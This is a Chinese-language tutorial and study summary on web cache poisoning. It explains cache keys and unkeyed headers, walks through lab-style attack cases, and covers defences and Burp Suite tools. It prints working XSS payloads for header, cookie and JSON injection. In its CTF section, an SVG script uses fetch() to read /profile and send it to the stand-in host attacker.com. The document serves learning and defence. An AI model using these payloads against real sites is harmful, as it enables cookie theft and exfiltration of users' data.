对缓存投毒的学习总结
字数 1628 2025-08-20 18:18:04
Web缓存投毒攻击全面解析与实战指南
一、Web缓存基础概念
1.1 Web缓存工作原理
- 缓存位置:位于服务器和用户之间,在固定时间内保存对特定请求的响应
- 缓存作用:当其他用户发送相同请求时,直接提供缓存副本,减轻服务器负担
- 典型应用:CDN(内容分发网络)是最常见的缓存实现方式
1.2 缓存键(Cache Key)机制
- 匹配原理:缓存通过
Vary头部指定的HTTP HEADER来判断是否使用缓存 - 缓存键:
Vary头部指定的头部字段称为"缓存键"(cache key) - 非缓存键:未被
Vary指定的头部字段
二、缓存投毒攻击原理
2.1 基本概念
- 攻击本质:在缓存中存入有害内容(如XSS payload),使其他用户访问时受到攻击
- 攻击条件:利用非缓存键影响服务器响应内容
2.2 攻击流程
- 识别非缓存键:找出哪些HTTP头部会影响页面内容但不属于缓存键
- 构造有害响应:利用非缓存键使服务器返回有害内容
- 缓存有害内容:确保有害响应被缓存系统存储
- 触发攻击:等待其他用户访问被投毒的缓存
三、缓存投毒攻击实战案例
3.1 基于X-Forwarded-Host的资源导入投毒
- 漏洞特征:网站使用
X-Forwarded-Host动态生成JS文件URL - 攻击方法:
X-Forwarded-Host: baidu.com"></script><script>alert(document.cookie)</script> - 防御建议:验证
X-Forwarded-Host内容或将其加入缓存键
3.2 Cookie导致的XSS投毒
- 漏洞特征:Cookie内容回显到页面且不属于缓存键
- 攻击方法:
fehost=prod-cache-01"}%3Balert(1)%3Babc={"":"" - 防御建议:对回显的Cookie值进行严格过滤
3.3 多Header组合投毒
- 漏洞特征:多个非缓存键共同影响页面行为
- 攻击方法:
X-Forwarded-Host: attacker.com X-Forwarded-Scheme: http:// - 防御建议:审查所有可能影响页面行为的头部
3.4 内容不唯一缓存键投毒
- 漏洞特征:
Vary指定了内容不唯一的缓存键(如User-Agent) - 攻击步骤:
- 收集目标User-Agent
- 构造匹配该User-Agent的有害请求
- 防御建议:避免使用高变化率的字段作为缓存键
3.5 DOM型漏洞投毒
- 漏洞特征:JS从服务器获取未经验证的数据导致DOM XSS
- 攻击方法:
- 投毒JSON数据源
- 构造恶意JSON响应:
{ "country": "<svg onload=alert(document.cookie)>" } - 防御建议:对动态插入DOM的内容进行转义
3.6 多漏洞组合投毒
- 复杂场景:需要多个投毒点配合才能完成攻击
- 典型步骤:
- 利用第一个漏洞强制设置特定状态(如语言)
- 利用第二个漏洞投毒该状态下的资源
- 防御建议:全面审查所有用户可控输入点
四、缓存投毒在CTF中的应用
4.1 常规解题方法
- SVG XSS Payload:
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <script> fetch("/profile").then(r=>r.text()).then(t=>fetch("//attacker.com/?"+btoa(t))) </script> </svg>
4.2 高级缓存投毒方法
- 利用条件:
- 使用Cloudflare等CDN缓存静态文件
- 允许自定义文件名
- 用户信息页面存在XSS
- 攻击步骤:
- 注册
.js结尾的用户名 - 在个人信息中植入XSS
- 诱导访问
/profile/name.js使XSS被缓存
- 注册
五、防御措施
5.1 缓存配置最佳实践
- 谨慎选择
Vary头部指定的字段 - 避免使用高变化率的字段作为缓存键
- 对关键页面禁用缓存
5.2 代码安全建议
- 对所有用户可控输入进行严格过滤
- 避免直接使用请求头内容构造响应
- 实施严格的CSP策略
5.3 运维配置建议
- 定期审计缓存配置
- 监控异常缓存行为
- 保持CDN/缓存系统为最新版本
六、工具与资源
6.1 实用工具
- Param Miner:BurpSuite插件,用于自动发现可利用的非缓存键
- Logger++:BurpSuite插件,用于记录和分析请求
6.2 学习资源
- 实战Web缓存投毒(上/下)
- CDN与缓存的归纳理解
- HTTP请求的响应头部Vary的理解
七、总结
缓存投毒是一种危害严重但常被忽视的攻击方式,攻击者通过精心构造的请求污染缓存内容,可造成大规模XSS等安全威胁。防御需要开发、运维多方协作,从缓存配置、代码安全和系统监控多个层面建立防护体系。